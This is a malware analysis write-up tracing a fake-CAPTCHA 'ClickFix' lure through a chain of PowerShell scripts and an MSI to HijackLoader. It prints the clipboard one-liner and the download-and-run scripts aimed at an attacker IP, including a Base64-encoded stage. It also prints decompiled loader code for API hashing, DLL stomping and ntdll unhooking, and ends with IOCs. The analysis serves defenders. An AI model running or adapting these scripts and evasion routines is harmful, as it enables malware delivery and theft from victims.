1. Overview
While browsing, I randomly came across an ad telling me that human verification
was required. Curious, I followed it. The site it led to was simple. Just a lonely
button, asking me to click it to prove I was human. Once I did, I was given
instructions: press Win + R, then Ctrl + V, and finally Enter. This
immediately raised several red flags. Before doing anything, I checked my clipboard,
and lo and behold, exactly as I suspected, a PowerShell command, waiting
to download and invoke a remote script. That script pulled down an MSI installer,
which executed a binary hosting HijackLoader, ultimately dropping
what I suspect to be StealC, based on observed network communications.
The MSI installer turned out to be a carefully constructed package, bundling a legitimate application alongside two tampered DLLs. These facilitated the loading of HijackLoader, a modular loader with a surprisingly sophisticated architecture, comprising 34 individual modules in my case, handling everything from syscall dispatch and ntdll unhooking to UAC bypass and AV evasion.
Due to the complexity of the infection chain and the amount of reversing involved, I decided to split the writeup into two parts. In this first part, the focus will be on the initial execution stages, MSI package structure, loader initialization, and configuration extraction, up to the point where the malware is fully unpacked and execution transitions into the persistent directory. The second part will cover the remaining modules, anti-analysis mechanisms, persistence, and the final deployment in greater detail.
2. Initial Access — ClickFix Lure and some PowerShell
The ad used a Google-themed verification prompt, and led to the following URL:
hxxps://banquetesck.com/bcap/?zoneid=9353409&country=XX&cost=0.000874
Once loaded, the page presented what appeared to be a standard Google reCAPTCHA:

Clicking it triggered a brief animation, followed by an error stating that further verification was required, along with the following instructions:

Simultaneously, a green popup appeared in the bottom left corner of the page, confirming that a command had been copied to the clipboard:

The copied command was the following:
powershell -c "iex(irm '85[.]239[.]149[.]21:2472' -UseBasicParsing)"
At this point, any remaining benefit of the doubt was gone. Curious, I checked what was being served from the specified port. Unsurprisingly, it was a heavily bloated PowerShell script, with the junk code being regenerated on each reload.

The one constant across reloads, however, was a Base64 encoded blob that stuck out like a sore thumb. This blob contained a second PowerShell script, decoded and immediately invoked:
function d { param([string]$x) $bytes = [Convert]::FromBase64String($x); return [System.Text.Encoding]::Unicode.GetString($bytes) }
[...]
$decoded = d -x $data
$decoded | Invoke-Expression
This second script is notably simpler, with no obfuscation or junk code. It decodes another Base64 blob, this time containing the third and final PowerShell payload. It also contains a comment in Russian:
$bytes = [Convert]::FromBase64String('CgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAUwB0AG8AcAAiAAoAdAByAHkAIAB7AAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACQAdwBvAHIAawBEAGkAcgAgAD0AIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFoAbwBvAG0AcwAiAAoATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdwBvAHIAawBEAGkAcgAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAKACQAaABhAG4AZABsAGUAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAALgBIAHQAdABwAEMAbABpAGUAbgB0AEgAYQBuAGQAbABlAHIACgAkAGgAYQBuAGQAbABlAHIALgBBAGwAbABvAHcAQQB1AHQAbwBSAGUAZABpAHIAZQBjAHQAIAA9ACAAJAB0AHIAdQBlAAoAJABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAALgBIAHQAdABwAEMAbABpAGUAbgB0ACgAJABoAGEAbgBkAGwAZQByACkACgAkAGMAbABpAGUAbgB0AC4AVABpAG0AZQBvAHUAdAAgAD0AIABbAFQAaQBtAGUAUwBwAGEAbgBdADoAOgBGAHIAbwBtAE0AaQBuAHUAdABlAHMAKAAzADAAKQAKACQAdQByAGwAIAA9ACAAIgBoAHQAdABwADoALwAvADgANQAuADIAMwA5AC4AMQA0ADkALgAyADEAOgA2ADYAMAAwAC8AcQB3AHgAdQB5AHUAYQA1AC8ARQBXAFAAWgBCAFMAQgBUAC4AbQBzAGkAIgAKACQAdQByAGkATQBhAGkAbgAgAD0AIABbAFUAcgBpAF0AJAB1AHIAbAAKACQAZgBpAGwAZQBOAGEAbQBlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AEYAaQBsAGUATgBhAG0AZQAoACQAdQByAGkATQBhAGkAbgAuAEEAYgBzAG8AbAB1AHQAZQBQAGEAdABoACkACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGYAaQBsAGUATgBhAG0AZQAgAC0AbwByACAAJABmAGkAbABlAE4AYQBtAGUAIAAtAGUAcQAgACIALwAiACAALQBvAHIAIAAkAGYAaQBsAGUATgBhAG0AZQAgAC0AZQBxACAAIgAiACkAIAB7ACAAJABmAGkAbABlAE4AYQBtAGUAIAA9ACAAIgBkAG8AdwBuAGwAbwBhAGQALgBiAGkAbgAiACAAfQAKACQAZgBpAGwAZQBQAGEAdABoACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJAB3AG8AcgBrAEQAaQByACAAJABmAGkAbABlAE4AYQBtAGUACgAkAHIAZQBzAHAAbwBuAHMAZQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAQQBzAHkAbgBjACgAJAB1AHIAbAApAC4AUgBlAHMAdQBsAHQACgAkAHIAZQBzAHAAbwBuAHMAZQAuAEUAbgBzAHUAcgBlAFMAdQBjAGMAZQBzAHMAUwB0AGEAdAB1AHMAQwBvAGQAZQAoACkACgAkAGIAeQB0AGUAcwAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEMAbwBuAHQAZQBuAHQALgBSAGUAYQBkAEEAcwBCAHkAdABlAEEAcgByAGEAeQBBAHMAeQBuAGMAKAApAC4AUgBlAHMAdQBsAHQACgBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAJABmAGkAbABlAFAAYQB0AGgALAAgACQAYgB5AHQAZQBzACkACgBpAGYAIAAoACQAZgBpAGwAZQBQAGEAdABoACAALQBsAGkAawBlACAAIgAqAC4AbQBzAGkAIgApACAAewAKACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAbQBzAGkAZQB4AGUAYwAuAGUAeABlACIAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgAvAGkAIABgACIAJABmAGkAbABlAFAAYQB0AGgAYAAiACAALwBxAG4AIAAvAG4AbwByAGUAcwB0AGEAcgB0ACIAIAAtAFcAYQBpAHQAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAAoAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGYAaQBsAGUAUABhAHQAaAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4ACgB9AAoACgAkAGMAbABpAGUAbgB0AC4ARABpAHMAcABvAHMAZQAoACkACgA=')
$scriptContent = [System.Text.Encoding]::Unicode.GetString($bytes)
$tempScript = [System.IO.Path]::GetTempFileName() + ".ps1"
[System.IO.File]::WriteAllText($tempScript, $scriptContent, [System.Text.Encoding]::Unicode)
# Запуск и мгновенный выход
Start-Process powershell -WindowStyle Hidden -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$tempScript`""
exit
The comment translates to “Launch and immediately exit”. Fitting, given what it does.
The third and final script is responsible for downloading and executing the MSI
installer. It creates a working directory at C:\ProgramData\Zooms, downloads
the installer from the hardcoded URL, and executes it silently via msiexec.exe:
$ErrorActionPreference = "Stop"
try {
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
} catch { }
$workDir = "C:\ProgramData\Zooms"
New-Item -ItemType Directory -Path $workDir -Force | Out-Null
Add-Type -AssemblyName System.Net.Http
$handler = New-Object System.Net.Http.HttpClientHandler
$handler.AllowAutoRedirect = $true
$client = New-Object System.Net.Http.HttpClient($handler)
$client.Timeout = [TimeSpan]::FromMinutes(30)
$url = "hxxp://85[.]239[.]149[.]21:6600/qwxuyua5/EWPZBSBT.msi"
$uriMain = [Uri]$url
$fileName = [System.IO.Path]::GetFileName($uriMain.AbsolutePath)
if (-not $fileName -or $fileName -eq "/" -or $fileName -eq "") { $fileName = "download.bin" }
$filePath = Join-Path $workDir $fileName
$response = $client.GetAsync($url).Result
$response.EnsureSuccessStatusCode()
$bytes = $response.Content.ReadAsByteArrayAsync().Result
[System.IO.File]::WriteAllBytes($filePath, $bytes)
if ($filePath -like "*.msi") {
Start-Process "msiexec.exe" -ArgumentList "/i `"$filePath`" /qn /norestart" -Wait -WindowStyle Hidden
} else {
Start-Process -FilePath $filePath -WindowStyle Hidden
}
$client.Dispose()
Visiting the URL directly in a browser reveals something worth noting. Any path that is
not serving a PowerShell script simply returns "hehe":

A few days after my initial discovery, the port serving the first PowerShell
script changed. I stumbled across the new one by accident on port 80 this time.
Shortly after, that too disappeared, returning Not assigned.
3. MSI Package
This is where things started to get interesting. Inspecting the package in Orca revealed 8 files in total.


The package also contains a custom action:

Mapping this to the filenames in the package, it becomes clear that the custom
action targets AdvancedSwitch.exe the only executable in the package, which gets launched on installation.
Inspecting the extracted files, all of them carried signatures, though some
raised eyebrows before even running sigcheck. Of the 8 files, 6 had valid
signatures. The remaining two, FreeImage.dll and VCOMP140.dll, did not.
The latter is particularly interesting. VCOMP140.dll is a Microsoft binary,
yet it carried an invalid Tenorshare signature, a clear sign of tampering.


4. Stage 1 — FreeImage.dll (HijackLoader Initial loader)
Having identified the two tampered files, I loaded both into PE-bear to get a
better picture. Checking the imports of FreeImage.dll, two caught my eye:
CreateFileMapping and MapViewOfFile. Neither is inherently malicious, but
they felt out of place for an imaging library. This turned out to be a dead end,
as neither played a role in what followed. Still, FreeImage.dll was the natural
first candidate to load into IDA.
It didn’t take long to confirm that malicious code had been stomped directly into
the DLL’s legitimate exports. According to the export table, what initially appeared to be three separate functions was, in reality, a single stomped routine.
Finding the entry point
was straightforward: a quick scan through strings revealed references to filenames
from the MSI package, which led me right to it. To correlate the static view with
dynamic execution, I set execute breakpoints on the .text sections of both
tampered DLLs in x64dbg, then matched byte patterns between the debugger and IDA.

The malicious function resolves its imports at runtime using a custom hashing
algorithm shl1_add with a seed of 0x7D188. As evidenced by the JUMPOUT this is
still not a full reconstruction of the function, but it provided enough to understand its workings.
void __fastcall mw_entry(__int64 a1, __int64 a2, __int64 a3, __int64 a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, __int64 a14, __int64 a15, __int64 a16, __int64 a17, __int64 a18, __int64 a19, __int64 a20, __int64 a21, DWORD a22)
{
__int64 v22; // rax
_QWORD *v23; // rdi
__int64 (__fastcall *v24)(_QWORD, _QWORD); // rsi
void (__fastcall *v25)(WCHAR *); // rbx
WCHAR *v26; // rsi
DWORD v27; // eax
__int64 v28; // rcx
v23[7] = v22 + a2;
v23[1] = v22 + *(unsigned int *)(v22 + a1 + 36);
mw_resolve_API((__int64)v23, dword_212B862AE10);
v24 = (__int64 (__fastcall *)(_QWORD, _QWORD))mw_resolve_API((__int64)v23, dword_212B862ADC4);
v25 = (void (__fastcall *)(WCHAR *))mw_resolve_API((__int64)v23, dword_212B862ADDC);
v26 = (WCHAR *)v24((unsigned int)dword_212B862ADF4, (unsigned int)dword_212B862ADC0);
v23[4] = v26;
v27 = GetModuleFileNameW(0i64, v26, nSize);
do
v28 = v27--;
while ( v26[v28] != 92 );
a22 = v27 + 1;
v26[v27 + 2] = 0;
v25(v26);
mw_resolve_API((__int64)&a14, dword_212B862AE20);
JUMPOUT(0x212B83DFC6Bi64);
}
The API resolution happens like this:
__int64 __fastcall mw_hashing_func(unsigned __int8 *a1, unsigned int a2)
{
__int64 result; // rax
unsigned __int8 v3; // dl
unsigned __int8 *v4; // rcx
result = a2;
if ( a1 )
{
v3 = *a1;
if ( *a1 )
{
v4 = a1 + 1;
do
{
result = (unsigned int)v3 + 2 * (_DWORD)result;
v3 = *v4++;
}
while ( v3 );
}
}
return result;
}
The resolved APIs are the following:
Api resolved: <kernel32.TerminateProcess> (00007FFC05890AA0)
Api resolved: <kernel32.LocalAlloc> (00007FFC05888800)
Api resolved: <kernel32.SetCurrentDirectoryW> (00007FFC058916A0)
Api resolved: <kernel32.CreateFileA> (00007FFC05894E90)
Api resolved: <kernel32.GetFileSize> (00007FFC058950C0)
Api resolved: <kernel32.ReadFile> (00007FFC05895220)
Api resolved: <kernel32.LoadLibraryA> (00007FFC05890830)
Api resolved: <kernel32.VirtualProtect> (00007FFC0588BFB0)
The function then loads network256.conf from disk and decrypts it via
DWORD-wise addition, using the key 0x59414D94, observed dynamically in x64dbg.
The first 8 bytes of the file are left untouched during decryption, and contain
a DLL name. In this case, this dll is tapisrv.dll which is then loaded via
LoadLibraryA. The remainder of the buffer is encrypted shellcode, which gets
stomped into the loaded tapisrv.dll after decryption.
The decryption itself is a simple additive cipher loop:
add [r14+rdx+8], ecx
add rdx, 4
cmp edx, eax
jb loop
Once decrypted, the code parses the loaded DLL’s PE header to locate its entry
point. mov ecx, [rax+3Ch] retrieves the PE signature offset, and
[rax+rcx+2Ch] gets the entry point RVA. VirtualProtect is then called to
make the code section writable, and the shellcode is copied in byte by byte:
mov cl, [rdi+rax]
mov [rbx+rax], cl
inc rax
cmp r14, rax
jnz loop
With the payload written, VirtualProtect is called again to restore the
original permissions, and execution jumps directly to the stomped entry point:

5. Stage 2 — Bootstrap Shellcode (network256.conf)
This shellcode is relatively short, compared to the others I encountered during analysis.
It is passed a struct which contains the arguments, coming from the loader function in FreeImage.dll
struct mw_stage1_to_stage2_args
{
struct mw_stage2_cfg *cfg;
wchar_t *modules_filename;
int run_av_blocklist_check;
};
It begins by resolving 2 dll names: ntdll.dll and kernel32.dll.
__int64 __fastcall mw_resolve_dll(int a1)
{
_QWORD *v2; // [rsp+20h] [rbp-48h]
v2 = (*(mw_get_teb() + 24) + 16i64);
do
{
do
v2 = *v2;
while ( !v2[12] );
if ( !a1 )
return v2[6];
}
while ( a1 != mw_dll_lowercase(v2[12]) );
return v2[6];
}
Then it proceeds to resolve the functions it needs.
__int64 __fastcall mw_resolve_API(__int64 a1, int a2, __int64 a3)
{
int i; // [rsp+20h] [rbp-258h]
unsigned int *v5; // [rsp+28h] [rbp-250h]
__int64 v6; // [rsp+38h] [rbp-240h]
char *v7; // [rsp+40h] [rbp-238h]
__int64 v8; // [rsp+48h] [rbp-230h]
__int64 v9; // [rsp+50h] [rbp-228h]
_WORD v10[268]; // [rsp+60h] [rbp-218h] BYREF
v5 = (*(mw_pe_get_nt_headers(a1) + 136) + a1);
v6 = v5[8] + a1;
v9 = v5[7] + a1;
v8 = v5[9] + a1;
for ( i = 0; ; ++i )
{
v7 = (*(v6 + 4i64 * i) + a1);
mw_zero_mem(v10, 520i64);
mw_ascii_to_wide(v7, v10);
if ( a2 == mw_sdbm_hash(v10, a3) )
break;
}
return *(v9 + 4i64 * *(v8 + 2i64 * i)) + a1;
}
The resolved functions are:
API resolved: <kernel32.CreateFileW>
API resolved: <kernel32.QueryPerformanceCounter>
API resolved: <kernel32.CloseHandle>
API resolved: <ntdll.swprintf>
API resolved: <kernel32.GlobalFree>
API resolved: <kernel32.ReadFile>
API resolved: <ntdll.NtDelayExecution>
API resolved: <kernel32.LoadLibraryW>
API resolved: <kernel32.GetFileSize>
API resolved: <kernel32.GlobalAlloc>
API resolved: <kernel32.GetModuleFileNameW>
API resolved: <kernel32.GetModuleHandleW>
API resolved: <ntdll.RtlDecompressBuffer>
API resolved: <kernel32.GetTempPathW>
API resolved: <ntdll.ZwQueryInformationProcess>
API resolved: <ntdll.RtlQueryEnvironmentVariable_U>
API resolved: <ntdll.ZwQuerySystemInformation>
API resolved: <kernel32.dll.VirtualProtect>
From these API calls, it becomes apparent that the shellcode interacts with a file on disk.
Setting breakpoints on ReadFile revealed this file to be storagesvc42.bak
mov rax,qword ptr ss:[rsp+78] | [rsp+78]:L"C:\\Users\\admin\\Desktop\\Extracted\\storagesvc42.bak"
call qword ptr ds:[rax+E0] | [rax+E0]:ReadFile
Despite the .bak extension, storagesvc42.bak is not a standard file format.
It mimics PNG’s IDAT chunk structure as a container for the encrypted payload.
49 44 41 54 | IDAT
Once this pattern is found, the following 4 bytes are checked against the magic
value 0xEA79A5C6. If they match, the first payload chunk has been found. It
carries a 16-byte sub-header containing everything needed for the subsequent
stages: the magic value, a 4-byte XOR key, the compressed size, and the
decompressed size. A buffer of compressedSize + 16 bytes is allocated, the
first chunk is copied in along with its sub-header, and all subsequent payload
IDAT chunks are appended sequentially, with PNG framing stripped from each
keeping only the raw data. A bounds check on the final chunk prevents overflow
during reassembly.

Decryption operates on the reassembled buffer starting at offset 0x10, past the
sub-header. The XOR key is a static DWORD read from the sub-header, applied in
4-byte blocks across compressedSize bytes, with the size aligned down to the
nearest 4 bytes.
The code then uses RtlDecompressBuffer to decompress it:
mov [rsp+40h], rax ; stash UncompressedBuffer pointer
mov dword ptr [rsp+34h], 0 ; FinalUncompressedSize = 0
lea rax, [rsp+34h]
mov [rsp+28h], rax ; arg6: &FinalUncompressedSize
mov eax, [rsp+68h]
mov [rsp+20h], eax ; arg5: CompressedBufferSize
mov r9, [rsp+60h] ; arg4: CompressedBuffer
mov r8d, [rsp+70h] ; arg3: UncompressedBufferSize
mov rdx, [rsp+40h] ; arg2: UncompressedBuffer
mov cx, 2 ; arg1: COMPRESSION_FORMAT_LZNT1
call RtlDecompressBuffer
The result is the raw config blob containing the module table and all embedded modules.
The module table is not at a fixed location within the decompressed buffer. Its
base is computed from two fields in the config header. Offset 0x08 holds a
DWORD base offset into the buffer, and offset 0x90 contains an ASCII string
of unclear purpose. In this case it was empty, so an additional offset was read
from 0x160 and factored into the computation. The final module table base is:
table_base = decompressed + *(decompressed + 0x08) + v13 + 0x3DD
v13 acts as an optional secondary offset, conditionally applied:
if ( !mw_strlen_a(v23 + 0x90) )
{
v13 = *(mw_decompressed_buffer_address + 0x160);
}
v18 = *(mw_decompressed_buffer_address + 8) + mw_decompressed_buffer_address + v13 + 0x3DD;
The decompressed buffer also contains the path of the DLL that will be the next stomping target:

The target DLL name is read from config offset 0xF4 and loaded via LoadLibraryA.
The shellcode locates its entry point via the PE NT headers, calls VirtualProtect
to mark it RWX (0x40), and overwrites it with the ti64 module:
call qword ptr ss:[rsp+B0] ; VirtualProtect
RCX : 00007FFBEDAA1000 ; Entry point of input.dll
RDX : 000000000001CC22 ; Size of ti64 module
R8 : 0000000000000040 ; PAGE_EXECUTE_READWRITE
Permissions are then restored to RX (0x20), and execution is transferred to
the stomped entry point with the config context passed along.
To further analyze the individual modules, I created a tool which can decrypt and decompress the config file, and dump all modules.

The tool can be found here
6. HijackLoader Module Architecture
HijackLoader is a modular loader, meaning its capabilities are packaged into discrete modules that can be combined in any configuration. Several of these modules appear consistently across different samples documented in prior research.
The first module to be executed by the loader shellcode is ti (32-bit) or
ti64 (64-bit), depending on the architecture of the target process. These
orchestrator modules are responsible for building the syscall table, unhooking
ntdll, and loading the remaining modules based on the config.
7. The Orchestrator — ti / ti64
The ti64 initialization routine begins by resolving several loaded modules through direct traversal of PEB->Ldr->InLoadOrderModuleList.
LDR_DATA_TABLE_ENTRY *loaded_module;
loaded_module = &sub_67D0()->Ldr->InLoadOrderModuleList;
v7 = loaded_module;
while ( 1 )
{
if ( loaded_module->InLoadOrderLinks.Flink == v7 )
return 0i64;
loaded_module = loaded_module->InLoadOrderLinks.Flink;
v5 = 0;
if ( loaded_module->BaseDllName.Buffer )
{
if ( loaded_module->BaseDllName.Buffer != &loc_FFFF )
{
mw_zero_mem(v8, 100i64);
while ( loaded_module->BaseDllName.Buffer[v5] )
++v5;
for ( i = 0; i < v5; ++i )
{
v8[i] = loaded_module->BaseDllName.Buffer[i];
v8[i] = sub_55F0(v8[i]);
}
if ( target_hash == sub_5A00(v8) )
break;
}
}
}
if ( out_dll_path )
{
v2 = 2 * sub_6510(loaded_module->FullDllName.Buffer) + 2;
sub_64A0(out_dll_path, loaded_module->FullDllName.Buffer, v2);
}
return loaded_module->DllBase;
Using this mechanism, the loader resolves the base addresses of kernel32.dll, ntdll.dll, and a third system DLL (hash 0xA7F1B493). It then performs extensive hashed API resolution, storing the resulting function pointers.
Then execution continues into the function responsible for context initialization.
The function performs the same PEB-based module resolution, locating kernel32.dll, ntdll.dll, and the same third system DLL (hash 0xA7F1B493). It then performs extensive hashed API resolution, storing the resulting function pointers inside a large runtime context structure. A secondary function pointer table (offsets 0x1C8–0x3C0) is then populated via a dedicated resolution routine, pulling additional APIs from the same three base modules.
Additional libraries including msvcrt.dll, rpcrt4.dll, and user32.dll are also loaded and have their APIs resolved.
It then constructs an internal syscall table by parsing the export table of a
fresh ntdll.dll image on disk. Every export beginning with “Zw” is processed
and its syscall number extracted directly from the function code:
if ( *export_name == 'wZ' )
The extracted syscall number, hashed export name and function RVA are then inserted into an internal lookup table.
v6 = mw_extract_syscall_number(v15);
if ( v6 != -1 )
{
syscall_table_entry.export_hash = mw_crc32_hash_wrapper(export_name);
syscall_table_entry.syscall_number = v6;
syscall_table_entry.export_name = export_name;
syscall_table_entry.export_RVA = *(v13 + 4i64 * *(v12 + 2i64 * i));
mw_create_append_syscall_table(mw_ti64_ctx, &syscall_table_entry);
}
The extraction scans the first 10 bytes of each export for the mov eax opcode (0xB8).
__int64 __fastcall mw_extract_syscall_number(BYTE *a1)
{
unsigned __int8 *function_code = a1;
while ( function_code < a1 + 10 )
{
v2 = *function_code++;
if ( v2 == 0xB8 )
return *function_code;
}
return 0xFFFFFFFFi64;
}
Once the syscall table is constructed, the loader maps a second clean copy of
ntdll.dll from disk using CreateFileMappingW with the SEC_IMAGE flag,
producing a properly relocated image. If the mapping succeeds, the clean base field in
the context is updated to point to this image; otherwise it falls back to the loaded in-memory copy.
A batch of function pointers is then resolved from this clean base
rather than from the potentially hooked in-memory ntdll.dll,
ensuring that critical ntdll functions used later in the
injection process reference unmodified code.
Next, the SM module is located by hash and loaded. This 12-byte blob contains
the name of the sideload target DLL, which is copied into the runtime context
and referenced throughout subsequent operations:
char __fastcall mw_load_SM_module(mw_TI64_ctx *a1, __int64 a2)
{
int mw_SM_module_size;
char *mw_SM_module_data;
mw_SM_module_size = 0;
mw_SM_module_data = mw_find_module_by_hash(a2, &mw_SM_module_size, 0xD8222145); //CRC32("SM")
if ( !mw_SM_module_data )
return 0;
sub_68F0(mw_SM_module_data, a1->path_buffer);
return 1;
}

The TinycallProxy64 module is then located by hash (0x5515DCEA, CRC32 of “TinyCallProxy64”) and used to initialize a dispatch structure. The shellcode pointer and its size are stored inside this structure alongside DLL base addresses, function pointers from the runtime context, and the path to the sideload DLL. The initialization also sets up return address spoofing for all subsequent calls routed through it. Every operational module is invoked through this dispatch structure rather than called directly.
char *__fastcall mw_find_TinycallProxy64_module(__int64 a1, _DWORD *a2)
{
return mw_find_module_by_hash(a1, a2, 0x5515DCEA); //CRC32("TinyCallProxy64")
}
Before the anti-analysis checks, the loader maps a fresh copy of ntdll.dll and uses it to restore the in-memory ntdll, removing any userland hooks.
A small control structure is allocated and two flag bytes within it are set to enable both the mapping and the unhooking operations.
This is distinct from the clean ntdll mapping performed during context initialization. That earlier mapping was used for API resolution whereas this one targets the loaded ntdll image directly, overwriting hooked code sections with their original bytes.
bool __fastcall mw_map_clean_ntdll(mw_TI64_ctx *a1, __int64 a2)
{
v6 = mw_get_NT_headers(a1->ntdll_raw_pe);
*(a2 + 128) = (a1->fn_VirtualAlloc)(0i64, v6->OptionalHeader.SizeOfImage, 4096i64, 4i64);
if ( !*(a2 + 128) )
return 0;
sub_64A0(*(a2 + 128), a1->ntdll_raw_pe, v6->OptionalHeader.SizeOfHeaders);
v5 = v6->FileHeader.NumberOfSections;
v7 = (&v6->OptionalHeader.Magic + v6->FileHeader.SizeOfOptionalHeader);
for ( i = 0; i < v5; ++i )
{
for ( j = 0; j < v7[4]; ++j )
*(*(a2 + 128) + v7[3] + j) = *(a1->ntdll_raw_pe + v7[5] + j);
v7 += 10;
}
return mw_fix_relocs(*(a2 + 128), v6->OptionalHeader.ImageBase, a1->ntdll_base) != 0;
}
The unhooking function iterates over ntdll’s exports via the export address table, and for each one, compares the byte at that RVA in the loaded ntdll against the clean mapped copy. If they differ and the address falls within the code section, it patches the hooked byte back to the original:
__int64 __fastcall mw_unhook_ntdll(mw_TI64_ctx *mw_ctx, __int64 a2)
{
ntdll_nt_header = (mw_ctx->ntdll_base + mw_get_NT_headers(mw_ctx->ntdll_base)->OptionalHeader.DataDirectory[0].VirtualAddress);
ntdll_sizeof_code = (mw_ctx->ntdll_base + ntdll_nt_header->OptionalHeader.SizeOfCode);
v6 = (mw_ctx->ntdll_base + ntdll_nt_header->OptionalHeader.SizeOfUninitializedData);
for ( i = 0; ; ++i )
{
result = *&ntdll_nt_header->OptionalHeader.Magic;
if ( i >= result )
break;
a3 = ntdll_sizeof_code[*(v6 + i)];
if ( *(mw_ctx->ntdll_base + a3) != *(*(a2 + 128) + a3)
&& sub_1BDA0(mw_ctx, mw_ctx->ntdll_base, a3) )
mw_patch_bytes(mw_ctx, a2, a3, mw_ctx->ntdll_base, *(a2 + 128));
}
return result;
}
char __fastcall mw_patch_bytes(__int64 pe_base, __int64 a2, unsigned int a3, __int64 a4, __int64 a5)
{
v8 = a3 + a4; // address in hooked ntdll
v9 = a3 + a5; // address in clean copy
v6 = 0;
++*(a2 + 16); // patched count
if ( !sub_AF20(v11, v8, 0x10u, 0x40u, &v6) ) // VirtualProtect → PAGE_EXECUTE_READWRITE
return 0;
sub_64A0(v8, v9, 16i64); // memcpy 16 bytes from clean → hooked
++*(a2 + 24);
sub_AF20(v11, v8, 0x10u, v6, &v7); // restore original protection
return 1;
}
Execution then enters an anti-analysis routine, where the checks performed are driven by flags stored in a dedicated configuration module. When present, this module enables a suite of checks including RDTSC timing, CPUID vendor fingerprinting, RAM size, CPU count, and hostname inspection. In the analyzed sample, the module was absent. This means the function returned immediately and execution continued without performing any checks.

The first time the malware runs, it copies itself to a persistent location, and saves the copied state. This means that on any subsequent executions, the copy is skipped.
The files to be copied are listed in the COPYLIST module.

Once they have been successfully copied, the code launches the AdvancedSwitch.exe
return (*(a1 + 328))(0i64, v5, 0i64, 0i64, 0, 0x8000000, 0i64, 0i64, v19, v18) != 0;
^lpProcessAttributes = NULL
^lpThreadAttributes = NULL
^bInheritHandles = FALSE
^dwCreationFlags
^lpEnvironment = NULL
^lpCurrentDirectory = NULL
^lpStartupInfo
^lpProcessInformation
If this succeeds, NtTerminateProcess is invoked.
After the copy-and-relaunch check, a second termination gate is evaluated. The loader searches for a module by hash (0x1999749F) and, if found, allocates 1 MB of memory for it. If the module loads successfully, the current process is terminated. In the analyzed sample, execution continued past this gate.
The current instance dies, and execution starts again from the persistent location.
8. IOCs
Infrastructure
| Type | Value |
|---|---|
| IP | 85[.]239[.]149[.]21 |
| URL | hxxps://banquetesck[.]com/bcap/?zoneid=9353409&country=XX&cost=0.000874 |
| URL | hxxp://85[.]239[.]149[.]21:2472 |
| URL | hxxp://85[.]239[.]149[.]21:6600/qwxuyua5/EWPZBSBT.msi |
Files
| Filename | SHA256 |
|---|---|
AdvancedSwitch.exe |
e8cc702e17ee91f84b4552abdf8cce85e486e2c48e99cce9648997d74613ad9f |
BugSplat64.dll |
8fe9be5391cef47155ba98879ec86747b9e5e31c5d1f18079fd389c52901b4b9 |
FreeImage.dll |
60cf5967b65ca9048450fc35e4bccf38a20a7a58f1db3ba9be2c4316936c50b1 |
TSLogSDK.dll |
ad2933bde1c9fc096cbd7d519e8f2234a3094fa20975de6b2014a5c3a1f72e2f |
VCOMP140.dll |
ae4cf023350fd8af83f756dcb5bc59743b71c9dd95fea5d100e8c05fb8368420 |
lib_TSCommunication_sdk.dll |
9e08e9c16bb2b5f02bf7c9122f0460eed720827bae8e9c826dc6463c98ae4ca9 |
network256.conf |
91e83d66e856b26ad098df944ef61502f397eda3bfe1e6f19097187ed0dc1860 |
storagesvc42.bak |
ff1a2dcfdca25561b587bfa06214d70c85bcb802c5e5e7397dc977e1c5c20815 |
9. Acknowledgements
Special thanks to my co-author for supervising the reversing process and helping place breakpoints that were never meant to be set.
